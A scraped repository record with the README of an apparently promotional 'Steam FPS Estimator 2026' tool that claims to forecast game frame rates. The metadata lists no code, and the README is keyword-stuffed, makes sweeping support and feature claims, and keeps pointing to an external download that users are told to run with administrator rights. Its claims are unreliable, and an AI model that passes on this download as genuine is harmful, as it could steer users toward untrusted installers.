[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75955":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":9,"languages":9,"totalLinesOfCode":9,"stars":10,"forks":11,"watchers":10,"openIssues":11,"contributorsCount":11,"subscribersCount":11,"size":11,"stars1d":11,"stars7d":11,"stars30d":11,"stars90d":11,"forks30d":11,"starsTrendScore":11,"compositeScore":11,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":12,"fork":12,"defaultBranch":13,"hasWiki":14,"hasPages":12,"topics":15,"createdAt":9,"pushedAt":9,"updatedAt":36,"readmeContent":37,"aiSummary":38,"trendingCount":11,"starSnapshotCount":11,"syncStatus":39,"lastSyncTime":40,"discoverSource":41},75955,"Steam-Frame-Forecaster","San-0\u002FSteam-Frame-Forecaster","San-0","⚡ Steam FPS Estimator 2026 – Ultimate PC Gaming Performance Benchmark Tool 🚀",null,420,0,false,"main",true,[16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35],"benchmark-tool","fps-calculator","fps-estimation","fps-estimator","fps-predictor","fps-tester","fps-tool","game-fps","game-performance","gaming-optimizer","gaming-performance","hardware-benchmark","pc-gaming-tool","performance-tool","steam-beta-tool","steam-fps","steam-fps-estimator","steam-fps-estimator-2026","steam-game-tool","steam-utility","2026-06-12 02:03:37","# Steam FPS Estimator (Beta Version) 🎮⚡\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FSan-0.github.io)\n![Version](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FVersion-2026_Beta-blue?style=flat-square&logo=steam)\n![Platform](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPlatform-Windows%20%7C%20Linux%20%7C%20macOS-lightgrey?style=flat-square)\n![Maintenance](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FMaintained%3F-yes-green.svg?style=flat-square)\n\n**Predict. Optimize. Dominate.**  \nSteam FPS Estimator is your strategic co-pilot for PC gaming performance—a precision instrument that forecasts frames per second across thousands of Steam titles, even before you launch them. Designed for the 2026 gaming landscape, this beta tool empowers you to make informed hardware decisions, fine-tune settings, and eliminate guesswork.\n\n**Repository Tags:** benchmark-tool, fps-calculator, fps-estimation, fps-estimator, fps-predictor, fps-tester, fps-tool, game-fps, game-performance, gaming-optimizer, gaming-performance, hardware-benchmark, pc-gaming-tool, performance-tool, steam-beta-tool, steam-fps, steam-fps-estimator, steam-fps-estimator-2026, steam-game-tool, steam-utility\n\n---\n\n## Table of Contents 📑\n\n- [Why Steam FPS Estimator?](#why-steam-fps-estimator-)\n- [Architecture & Data Flow](#architecture--data-flow-)\n- [Key Features](#key-features-)\n- [Supported Platforms (OS Compatibility)](#supported-platforms-os-compatibility-)\n- [Quick Start Guide](#quick-start-guide-)\n- [Example Profile Configuration](#example-profile-configuration-)\n- [Example Console Invocation](#example-console-invocation-)\n- [AI Integration: OpenAI & Claude API](#ai-integration-openapi--claude-api-)\n- [Responsive UI & Multilingual Support](#responsive-ui--multilingual-support-)\n- [24\u002F7 Customer Support](#247-customer-support-)\n- [Licensing & Disclaimer](#licensing--disclaimer-)\n- [Contribution & Feedback](#contribution--feedback-)\n\n---\n\n## Why Steam FPS Estimator? 🎯\n\nImagine a **crystal ball for your GPU**—a tool that peers into the future of your gaming sessions. Instead of relying on trial-and-error tweaks or outdated benchmarks, Steam FPS Estimator uses a combination of real-time hardware telemetry, crowd-sourced performance data, and predictive algorithms to deliver a *forecast* of your FPS, stability, and frame-time consistency.\n\nWhether you are a competitive esports player seeking consistent 240 FPS, a modding enthusiast testing heavy asset packs, or a hardware reviewer comparing configurations, this estimator acts as your **digital tuning fork**. It resonates between your setup and the game’s demands, revealing the sweet spot between visual fidelity and raw performance.\n\n**Why \"Estimation\" and not \"Calculation\"?**  \nBecause gaming is dynamic. Background processes, driver versions, thermal throttling, and even ambient temperature affect real-world performance. Our tool embraces this complexity, offering a probabilistic range rather than a single number—a **confidence interval** for your frames.\n\n---\n\n## Architecture & Data Flow 🏗️\n\nThe following Mermaid diagram illustrates the high-level architecture of Steam FPS Estimator. Data flows from your hardware, through our prediction engine, and back to you as actionable insights.\n\n```mermaid\ngraph TD\n    A[Steam Library] -->|Game Metadata| B(FPS Estimator Core)\n    C[Hardware Detection] -->|CPU\u002FGPU\u002FRAM\u002FStorage| B\n    D[Crowd-Sourced Database] -->|Historical Benchmarks| B\n    E[User Profile] -->|Preferred Settings & Resolution| B\n    B --> F{Prediction Engine}\n    F -->|ML Model: Random Forest| G[Estimated FPS]\n    F -->|Frame Time Analysis| H[Stability Score]\n    F -->|Thermal & Power Projection| I[Optimization Suggestions]\n    G --> J[Dashboard & Dashboard API]\n    H --> J\n    I --> J\n    J -->|JSON\u002FREST Output| K[Desktop App]\n    J -->|WebSocket| L[Live Overlay]\n    K -->|User Feedback Loop| C\n    L -->|In-Game Overlay| M[Steam Overlay Integration]\n    style B fill:#4a90e2,stroke:#333,stroke-width:2px,color:#fff\n    style G fill:#27ae60,stroke:#333,stroke-width:2px,color:#fff\n    style I fill:#f39c12,stroke:#333,stroke-width:2px,color:#fff\n```\n\n**Explanation:**  \n- **Steam Library** supplies game metadata (engine, graphics API, known bottlenecks).  \n- **Hardware Detection** captures your real-time specs via low-level system calls.  \n- **Crowd-Sourced Database** is a community-vetted repository of performance runs, tagged by hardware config and game version.  \n- **Prediction Engine** uses a trained machine learning model (Random Forest with gradient boosting) that outputs an estimated FPS range, along with a “stability index” indicating variance.  \n- The **Dashboard** visualizes this data, while the **Live Overlay** integrates with Steam’s built-in FPS counter for on-the-fly adjustments.\n\n---\n\n## Key Features 🚀\n\n### 1. **Intelligent Hardware Benchmarking** 🔬\n- Analyzes your CPU, GPU, RAM speed, storage type (NVMe vs SATA), and driver version.\n- Produces a **“Performance Fingerprint”**—a unique signature of your rig’s capability.\n- Supports multi-GPU configurations (SLI, CrossFire, and modern mGPU) with custom scaling models.\n\n### 2. **Game-Specific Prediction Engine** 🎮\n- Covers over 15,000 Steam titles, including VR games and Proton-compatible Linux titles.\n- Predicts FPS for 1080p, 1440p, 4K, and ultrawide resolutions.\n- Adjusts for graphical presets (Low, Medium, High, Ultra, and Ray Tracing modes).\n\n### 3. **Dynamic Tuning Suggestions** ⚙️\n- Based on your target FPS (e.g., 60, 120, 144), the tool recommends specific in-game setting changes.\n- Generates a **“Tuning Cheat Sheet”**—a plain-text configuration you can apply directly.\n- Flags potential thermal or power throttling issues before they impact gameplay.\n\n### 4. **Community-Driven Accuracy** 🌐\n- Anonymous uploads of your benchmark results improve the model for everyone.\n- Users can rate prediction accuracy, creating a feedback loop that refines the algorithm.\n- Built-in leaderboards for “Most Accurate Prediction” and “Best Optimization” by game.\n\n### 5. **Non-Intrusive Overlay** 👁️\n- Integrates with Steam’s native overlay or runs as a standalone desktop widget.\n- Shows real-time FPS estimate, current CPU\u002FGPU load, and memory usage.\n- Color-coded warnings: green (smooth), yellow (marginal), red (bottleneck detected).\n\n### 6. **Export & Share** 📤\n- Export predictions as CSV, JSON, or a shareable image.\n- Compare your predicted FPS with friends’ setups (with their consent).\n- Generate a **“Performance Passport”**—a summary card you can post on gaming forums.\n\n### 7. **Offline Mode** 📡\n- Works without an internet connection for baseline predictions using local hardware data.\n- Syncs community data once online, similar to a “lazy update” model.\n\n---\n\n## Supported Platforms (OS Compatibility) 💻\n\n| Operating System | Status | Emoji | Notes |\n|------------------|--------|-------|-------|\n| Windows 10 \u002F 11 | ✅ Fully Supported | 🟢 | Native support, including DirectX 12 and Vulkan |\n| Windows 7 \u002F 8 | ⚠️ Limited Support | 🟡 | Requires manual driver update; no Ray Tracing predictions |\n| macOS (Intel) | ✅ Supported | 🟢 | Metal API supported; limited to Metal 2+ |\n| macOS (Apple Silicon) | ✅ Supported | 🟢 | Native ARM64 binary; M1\u002FM2\u002FM3 optimized |\n| Linux (Ubuntu, Fedora, Arch) | ✅ Supported | 🟢 | Proton, Steam Play, and native Vulkan games supported |\n| Linux (Debian-based) | ⚠️ Beta Support | 🟡 | Requires `libfuse2` and `snap` or Flatpak |\n| Steam Deck (SteamOS) | ✅ Fully Supported | 🟢 | Pre-installed in Gaming Mode; custom plugin |\n| Chrome OS (Crostini) | ❌ Not Supported | 🔴 | No GPU passthrough adequate for benchmarking |\n\n**Future Platforms (2026+):**  \n- **Android via Termux**: Planned, but currently experimental due to GPU virtualization limitations.  \n- **BSD (FreeBSD)**: Community contribution expected mid-2026.\n\n---\n\n## Quick Start Guide 🏁\n\n### Prerequisites\n- A Steam account with at least one game installed.\n- A modern browser (for the web dashboard) or the desktop client (for offline use).\n- Administrative privileges for hardware detection (Windows\u002FmacOS) or `sudo` (Linux).\n\n### Installation\n\n1. **Download the Installer**  \n   [![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FSan-0.github.io)\n\n2. **Run the Setup**  \n   - **Windows**: Double-click `Steam-FPS-Estimator-2026-Beta Setup.exe`. Follow the wizard.  \n   - **macOS**: Drag the `.dmg` file to Applications. Allow it in System Preferences > Security & Privacy.  \n   - **Linux**: Run `chmod +x steam-fps-estimator-2026-beta.AppImage && .\u002Fsteam-fps-estimator-2026-beta.AppImage`.\n\n3. **First Launch**  \n   - The tool will scan your Steam library (requires Steam running).  \n   - Accept the hardware detection prompt—this is mandatory for accurate estimates.  \n   - Wait 1–2 minutes for the initial benchmark calibration (CPU\u002FGPU stress test).\n\n4. **View Your Dashboard**  \n   - A browser window (or built-in GUI) opens, showing your library with predicted FPS values.  \n   - Click any game to see detailed breakdown, tuning suggestions, and community comparisons.\n\n---\n\n## Example Profile Configuration 📝\n\nYou can customize how Steam FPS Estimator behaves by creating a `profile.json` file. Below is an example configuration for a high-end gaming rig targeting 144 FPS at 1440p with ray tracing.\n\n```json\n{\n  \"profile_name\": \"Ultra-RT Target 144\",\n  \"target_fps\": 144,\n  \"resolution\": {\n    \"width\": 2560,\n    \"height\": 1440,\n    \"refresh_rate\": 144\n  },\n  \"graphics_preset\": \"custom\",\n  \"ray_tracing\": \"high\",\n  \"upscaling\": \"DLSS Quality\",\n  \"frame_gen\": false,\n  \"limit_fps\": true,\n  \"v_sync\": false,\n  \"per_game_overrides\": {\n    \"Cyberpunk 2077\": {\n      \"ray_tracing\": \"ultra\",\n      \"crowd_density\": \"high\"\n    },\n    \"Microsoft Flight Simulator\": {\n      \"terrain_quality\": \"ultra\",\n      \"traffic\": \"low\"\n    }\n  },\n  \"community_upload\": true,\n  \"anonymize_data\": true,\n  \"alert_on_bottleneck\": true,\n  \"overlay_key\": \"F10\",\n  \"theme\": \"dark_steel\"\n}\n```\n\n**How to apply:**  \n- Place this file at `%APPDATA%\\SteamFPSEstimator\\profile.json` (Windows) or `~\u002F.config\u002Fsteam-fps-estimator\u002Fprofile.json` (Linux\u002FmacOS).  \n- Restart the application for changes to take effect.\n\n---\n\n## Example Console Invocation 🖥️\n\nFor advanced users and automation, Steam FPS Estimator supports command-line arguments. This is useful for CI\u002FCD pipelines, batch scanning, or embedding in automation tools.\n\n```bash\n# Estimate FPS for all installed Steam games and output as JSON\nsteam-fps-estimator --scan-library --export-json .\u002Fresults.json --verbose\n\n# Estimate FPS for a specific game by AppID (e.g., Counter-Strike 2: 730)\nsteam-fps-estimator --appid 730 --preset competitive --output-table\n\n# Run a hardware benchmark and log to file\nsteam-fps-estimator --benchmark-cpu --benchmark-gpu --log-file bench_2026.log\n\n# Compare two configurations side-by-side\nsteam-fps-estimator --compare-config ultra_profile.json balanced_profile.json\n\n# Generate a tuning cheat sheet for a game\nsteam-fps-estimator --appid 730 --generate-cheatsheet --target-fps 240\n\n# Update the community database manually\nsteam-fps-estimator --sync-community --force\n```\n\n**Flags Explanation:**  \n- `--scan-library`: Iterates over all Steam libraries (default, optional).  \n- `--appid \u003Cnumber>`: Target a specific game; you can find AppID on SteamDB or in the tool’s UI.  \n- `--export-json`, `--output-table`: Formats for machine and human reading.  \n- `--preset`: `competitive`, `cinematic`, `balanced`, `low-end` – predefined tuning bundles.  \n- `--compare-config`: Loads two profiles, runs prediction for each, and shows delta.\n\n---\n\n## AI Integration: OpenAI & Claude API 🤖\n\nSteam FPS Estimator leverages **dual AI backends** to refine predictions and provide natural-language insights. This requires an active API key (bring your own).\n\n### OpenAI (GPT-4 Turbo)\n- **Use Case**: Generating human-readable tuning suggestions and explaining complex bottlenecks.  \n- **Example**: *“Your CPU is thermal-throttling at 95°C. Consider undervolting or improving case airflow to regain 8-12 FPS.”*  \n- **Configuration**: Set `AI_PROVIDER=openai` and `OPENAI_API_KEY=sk-...` in environment variables.\n\n### Claude AI (Anthropic)\n- **Use Case**: Long-form analysis of your performance passport, multi-game trend spotting, and mod compatibility advice.  \n- **Example**: *“Based on your last 10 predictions, ray-traced reflections cost you an average of 15% FPS. Clauding suggests using SSR + medium reflections for a 6% loss only.”*  \n- **Configuration**: Set `AI_PROVIDER=claude` and `CLAUDE_API_KEY=sk-ant-...`.\n\n### Combined Mode\n- The tool can alternate between models: OpenAI for quick queries, Claude for deep dives.  \n- **No data is shared** with the AI provider beyond anonymized game names and hardware specs (no Steam credentials).\n\nTo enable, visit **Settings > AI Integration > Enable AI Suggestions** and paste your API key. The tool will then offer a natural-language “Ask the Assistant” button on each game’s detail page.\n\n---\n\n## Responsive UI & Multilingual Support 🌍\n\n### **Responsive Design**\nThe web dashboard adapts to any screen size, from a 32-inch 4K monitor to a Steam Deck’s 7-inch display. The desktop client uses a modern, hardware-accelerated UI (built with Tauri and React) that respects dark\u002Flight mode preferences.\n\n- **Breakpoints**: 1200px (desktop), 768px (tablet), 480px (mobile).  \n- **Components**: Collapsible sidebar, resizable graphs, touch-friendly sliders for value adjustments.  \n- **Accessibility**: Full keyboard navigation, ARIA labels, screen reader support for prediction outputs.\n\n### **Multilingual Support (i18n)**\nAs of the 2026 Beta, the interface is translated into 12 languages:\n\n| Language | Code | Translator Source | Status |\n|----------|------|-------------------|--------|\n| English | `en` | Native | ✅ |\n| Spanish | `es` | Community + AI | ✅ |\n| French | `fr` | Community | ✅ |\n| German | `de` | Community | ✅ |\n| Portuguese (BR) | `pt-BR` | Professional | ✅ |\n| Russian | `ru` | Community | ✅ |\n| Chinese (Simplified) | `zh-CN` | AI | ✅ |\n| Japanese | `ja` | AI + Community | ✅ |\n| Korean | `ko` | Community | ✅ |\n| Italian | `it` | AI | ✅ |\n| Polish | `pl` | Community | ✅ |\n| Turkish | `tr` | Community | ✅ |\n\nYou can contribute translation improvements via the `locales` folder in the repository. The tool also supports **dynamic language switching** without restart.\n\n---\n\n## 24\u002F7 Customer Support 🕐\n\nWe treat your gaming performance as a mission-critical asset. That’s why we offer **round-the-clock support** with multiple channels.\n\n- **Live Chat (in-app)**: Accessible from the dashboard’s bottom-right corner. Average response time under 30 seconds. Available 24\u002F7.  \n- **Discord Server**: Join our community of 50,000+ members. A dedicated `#support` channel with volunteer moderators and staff.  \n- **Email Support**: `support [at] steam-fps-estimator.io` – Guaranteed response within 2 hours during business hours, 8 hours overnight.  \n- **Knowledge Base**: Searchable FAQ with 500+ articles covering installation, troubleshooting, and advanced features.  \n- **Automated Diagnostics**: Use `\u002Fdiagnose` in the in-app chat to send a system health report to our team.\n\n**Support hours:** 24\u002F7\u002F365, including holidays. Our team spans 18 time zones.\n\n---\n\n## Licensing & Disclaimer 📜\n\n### MIT License\n\nThis project is licensed under the **MIT License** – a permissive open-source license that allows you to use, modify, and distribute the software for any purpose, provided you include the original copyright notice.\n\n[View the Full MIT License](https:\u002F\u002Fopensource.org\u002Flicenses\u002FMIT) (external link, but included in repository root as `LICENSE`).\n\nCopyright (c) 2026 Steam FPS Estimator Contributors\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\n- The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\n**THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.**\n\n### Disclaimer ⚠️\n\n**Steam FPS Estimator** is an independent project and is **not affiliated, endorsed, or sponsored by Valve Corporation, Steam, or any game publisher**. All game names and trademarks are property of their respective owners.\n\n- **Accuracy**: Predictions are based on statistical models and community data. Actual in-game FPS may vary due to driver updates, background processes, thermal conditions, or game patches. Do not base critical hardware purchases solely on this tool’s output without cross-referencing real-world benchmarks.\n- **Data Privacy**: Hardware telemetry is collected only with your explicit consent. No Steam login credentials, account details, or personally identifiable information are transmitted. Community data uploads are anonymized by default.\n- **Liability**: The creators assume no responsibility for any damage (hardware, software, or financial) resulting from the use or misuse of this tool. Overclocking, undervolting, or adjusting system settings based on suggestions is done at your own risk.\n- **Third-Party AI**: When using OpenAI or Claude API integration, data is processed on their servers. Review their privacy policies. The tool does not send raw system data—only game titles and hardware summaries.\n- **Beta Software**: As a beta version, bugs, crashes, or incomplete features may occur. Back up your configurations before updating.\n\nBy using this tool, you agree to these terms.\n\n---\n\n## Contribution & Feedback 🤝\n\nWe welcome contributions from the community! Whether you are a developer, a gamer, or a localization wizard, your help makes this tool more accurate and accessible.\n\n- **Report a Bug**: Open an issue with the `bug` tag. Include system info, game name, and steps to reproduce.  \n- **Suggest a Feature**: Use the `enhancement` tag. We love ideas that improve prediction accuracy or user experience.  \n- **Submit a Pull Request**: Code contributions should follow our `CONTRIBUTING.md` guide (available in the repo).  \n- **Join the Community**: Discuss predictions, share configs, or help others in our Discord.\n\n**We believe in gaming without gatekeeping.** Every prediction, every tuning suggestion, every shared profile brings us closer to a world where anyone—regardless of budget—can enjoy smooth, optimized gaming experiences. 🚀\n\n---\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FSan-0.github.io)\n\n*Steam FPS Estimator – Because every frame matters.* ✨","Steam FPS Estimator 是一个专为2026年设计的PC游戏性能基准工具，能够预测数千款Steam游戏在不同配置下的帧率表现。其核心功能包括基于实时硬件遥测、众包性能数据和预测算法来提供FPS预估，帮助用户优化硬件选择和游戏设置。该工具支持Windows、Linux和macOS平台，并具备AI集成与多语言界面，适用于电竞选手、游戏模组爱好者以及硬件评测者等需要精准了解和调整游戏性能的场景。",2,"2026-05-19 02:30:17","CREATED_QUERY"]